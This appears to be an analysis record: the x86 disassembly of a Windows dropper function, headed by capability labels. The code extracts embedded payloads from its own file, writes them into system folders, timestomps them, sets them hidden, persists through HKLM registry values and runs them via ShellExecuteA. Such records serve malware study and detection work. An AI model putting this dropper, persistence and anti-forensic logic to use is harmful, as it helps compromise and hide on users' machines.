Function at 0x407000
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Delete registry value
Get common file path
Persist via run registry key
Read file on windows
Set file attributes
Set registry value
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x69c
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x6b0]
xor ebx, ebx
cmp edi, ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x2c], ebx
je 0x407055
push 0x5c
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x407055
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x21c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x407069
lea ecx, [esp + 0x21c]
push 0xff
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x21c]
push 0x40d164
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
cmp ebp, ebx
mov dword [esp + 0x14], ebp
je 0x407bdf
mov eax, dword [esp + 0x6b4]
cmp eax, ebx
je 0x40709a
mov dword [eax], ebx
or ecx, 0xffffffff
mov edi, 0x40debc
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x400
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40deb8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x3c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40deb4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x22e]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
call edi
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407bd5
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
push 1
lea ecx, [esi + 6]
push 0
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x228]
push edx
push eax
call fcn.004024d0
add esp, 0x14
test eax, eax
je 0x407ba8
lea ecx, [esp + 0x222]
push 1
sub eax, ecx
sub eax, esi
push eax
push ebp
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x407ba8
push ebp
push 1
lea edx, [esp + 0x38]
push 0xec
push edx
call edi
add esp, 0x10
cmp eax, 1
jne 0x407ba8
mov al, byte [esp + 0x3b]
test al, al
je 0x407ba8
mov al, byte [esp + 0x3a]
mov cl, byte [esp + 0x39]
cmp al, cl
je 0x4071c9
mov dl, cl
not dl
cmp al, dl
jne 0x407ba8
cmp al, cl
mov byte [esp + 0x11c], 0
jne 0x4071f2
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push esi
mov dword [esp + 0x3c], eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0x10
mov eax, dword [esp + 0x39]
and eax, 0xff
dec eax
cmp eax, 0xfe
ja case.0x40720f.7
xor ecx, ecx
mov cl, byte [eax + 0x407c08]
jmp dword [ecx*4 + 0x407bec]
lea eax, [esp + 0x11c]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x40756e
lea ecx, [esp + 0x11c]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x40756e
lea edx, [esp + 0x11c]
push 0xff
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40756e
push 0
push 0xffffffffffffffff
lea eax, [esp + 0x43]
push 0
push eax
call fcn.00404e80
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], 1
jmp 0x40756e
push 0
push 0xffffffffffffffff
lea ecx, [esp + 0x43]
push 0
push ecx
call fcn.00404e80
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x11c]
push 0xff
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x40d43c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x11c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x11c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
and ecx, 3
lea eax, [esp + 0x11c]
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
lea ecx, [esp + 0x11c]
push 0xff
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x40d43c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x11c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x11c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x11c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea ecx, [esp + 0x10]
push ecx
push 0x20006
push 0
push 0x40df30
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407448
lea edi, [esp + 0x3b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x11c]
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea ecx, [esp + 0x11c]
push ecx
push edx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [esp + 0x11c]
push 0x2e
push eax
call ebp
add esp, 8
test eax, eax
je 0x40742c
lea ecx, [esp + 0x11c]
push 0x2e
push ecx
call ebp
add esp, 8
mov byte [eax], 0
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x11c]
push edx
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40744e
mov ebp, dword [sym.imp.MSVCRT.dll_strrchr]
lea edx, [esp + 0x10]
push edx
push 0x20006
push 0
push 0x40def8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4074e8
lea edi, [esp + 0x3b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x11c]
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea ecx, [esp + 0x11c]
push ecx
push edx
call esi
lea eax, [esp + 0x11c]
push 0x2e
push eax
call ebp
add esp, 8
test eax, eax
je 0x4074ce
lea ecx, [esp + 0x11c]
push 0x2e
push ecx
call ebp
add esp, 8
mov byte [eax], 0
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x11c]
push edx
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x18], 1
mov byte [esp + 0x11c], 0
jmp case.0x4079ae.7
lea edx, [esp + 0x3b]
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [esp + 0x18], 1
mov byte [esp + 0x11c], 0
jmp case.0x4079ae.7
lea ecx, [esp + 0x11c]
push 0xff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
lea edx, [esp + 0x11c]
push 0x5c
push edx
call esi
add esp, 8
test eax, eax
je 0x40756e
lea eax, [esp + 0x11c]
push 0x5c
push eax
call esi
add esp, 8
mov byte [eax], 0
mov al, byte [esp + 0x11c]
test al, al
je case.0x4079ae.7
mov edi, 0x40d43c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x11c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x120]
and ecx, 3
push 0xffffffffffffffff
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x43]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x128]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00404e80
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x6b4]
test eax, eax
je 0x40761e
mov ecx, dword [esp + 0xfc]
test ecx, ecx
jne 0x40761e
inc dword [eax]
lea edx, [esp + 0x11c]
push 0x40d15c
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je case.0x4079ae.7
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x222]
push eax
push 0x400
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4076ec
push 1
lea edx, [esi + 6]
push 0
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x228]
push eax
push ecx
call fcn.004024d0
add esp, 0x14
mov edi, eax
test edi, edi
push ebp
je 0x4076c8
mov edx, edi
lea eax, [esp + 0x220]
sub edx, eax
lea ecx, [esp + 0x226]
sub edx, 6
push edx
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ecx, dword [esp + 0x24]
mov edx, edi
lea eax, [esp + 0x232]
push 1
sub edx, eax
sub edx, esi
push edx
push ecx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0x1c
jmp 0x4076dc
push esi
lea edx, [esp + 0x22a]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test edi, edi
mov dword [esp + 0x18], 1
je 0x40763e
mov eax, dword [esp + 0x108]
test eax, eax
je 0x407804
or ecx, 0xffffffff
mov edi, 0x40deb8
xor eax, eax
lea edx, [esp + 0x21c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x220]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40debc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x220]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40deb4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x220]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x220]
push ecx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov edx, eax
lea edi, [esp + 0x22c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jne 0x407804
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call ebx
cdq
mov ecx, 0x64
idiv ecx
mov eax, edx
dec edx
test eax, eax
je 0x407804
lea esi, [edx + 1]
push ebp
push 0x400
lea ecx, [esp + 0x224]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
dec esi
jne 0x4077e8
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x108]
add esp, 4
test eax, eax
je 0x407936
mov esi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10c]
push edx
push eax
call esi
test eax, eax
je 0x4078aa
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call ebx
cdq
mov ecx, 0xa
idiv ecx
sub edx, ecx
add word [esp + 0x1c], dx
call ebx
cdq
mov ecx, 0xc
idiv ecx
inc edx
mov word [esp + 0x1e], dx
call ebx
cdq
mov ecx, 0x1c
idiv ecx
inc edx
mov word [esp + 0x22], dx
call ebx
cdq
mov ecx, 0x3c
idiv ecx
inc edx
mov word [esp + 0x24], dx
call ebx
cdq
mov ecx, 0x3c
idiv ecx
lea eax, [esp + 0x1c]
inc edx
mov word [esp + 0x26], dx
lea edx, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x114]
push ecx
push edx
call esi
test eax, eax
je 0x407936
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xf3
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call ebx
cdq
mov ecx, 0xa
idiv ecx
sub edx, ecx
add word [esp + 0x1c], dx
call ebx
cdq
mov ecx, 0xc
idiv ecx
inc edx
mov word [esp + 0x1e], dx
call ebx
cdq
mov ecx, 0x1c
idiv ecx
inc edx
mov word [esp + 0x22], dx
call ebx
cdq
mov ecx, 0x3c
idiv ecx
inc edx
mov word [esp + 0x24], dx
call ebx
cdq
mov ecx, 0x3c
idiv ecx
lea eax, [esp + 0x1c]
inc edx
mov word [esp + 0x26], dx
lea edx, [esp + 0x114]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea ecx, [esp + 0x624]
push 1
lea edx, [esp + 0x120]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov esi, eax
test esi, esi
je 0x407974
lea eax, [esp + 0x114]
lea ecx, [esp + 0x10c]
push eax
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x100]
test eax, eax
je 0x40798f
lea edx, [esp + 0x11c]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esp + 0x39]
and eax, 0xff
add eax, 0xfffffffd
cmp eax, 0xfc
ja case.0x4079ae.7
xor ecx, ecx
mov cl, byte [eax + 0x407d1c]
jmp dword [ecx*4 + 0x407d08]
lea ecx, [esp + 0x10]
push ecx
push 0x20006
push 0
push 0x40dec8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.0x4079ae.7
mov al, byte [esp + 0x7c]
test al, al
je 0x407a03
lea edx, [esp + 0x7c]
lea eax, [esp + 0x3b]
push edx
push eax
lea ecx, [esp + 0x224]
push 0x40dec0
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
jmp 0x407a2b
lea edi, [esp + 0x3b]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x21c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [esp + 0x3b]
test al, al
jge 0x407a72
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
lea ecx, [esp + 0x21c]
push 0x20
push ecx
mov byte [esp + 0x43], 0
call esi
add esp, 8
test eax, eax
jne 0x407a99
lea edx, [esp + 0x21c]
push 0x2e
push edx
call esi
add esp, 8
test eax, eax
je 0x407a99
lea eax, [esp + 0x21c]
push 0x2e
push eax
call esi
jmp 0x407a93
lea ecx, [esp + 0x3b]
push 0x2e
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x407a99
lea edx, [esp + 0x3b]
push 0x2e
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x21c]
push ecx
push eax
push 1
lea ecx, [esp + 0x47]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
lea ecx, [esp + 0x80]
push 0
lea edx, [esp + 0x124]
push ecx
push edx
jmp 0x407b7a
push 1
push 0
push 0
lea eax, [esp + 0x128]
push 0x40d240
push eax
call fcn.004024d0
add esp, 0x14
test eax, eax
je case.0x4079ae.7
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
lea ecx, [esp + 0x80]
push 0
lea edx, [esp + 0x124]
push ecx
push edx
jmp 0x407b7a
push 1
push 0
push 0
lea eax, [esp + 0x128]
push 0x40d240
push eax
call fcn.004024d0
add esp, 0x14
test eax, eax
je case.0x4079ae.7
call ebx
cdq
mov ecx, 3
idiv ecx
cmp edx, 1
jne case.0x4079ae.7
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
lea edx, [esp + 0x80]
push 0
lea eax, [esp + 0x124]
push edx
push eax
push 0x40d404
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov cl, byte [esp + 0x3a]
mov al, byte [esp + 0x39]
cmp cl, al
jne 0x407ba8
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x14]
push 0
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov ebp, dword [esp + 0x14]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebp
push 0x400
lea ecx, [esp + 0x22a]
push 1
push ecx
call edi
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x407145
mov ebx, dword [esp + 0x18]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x69c
ret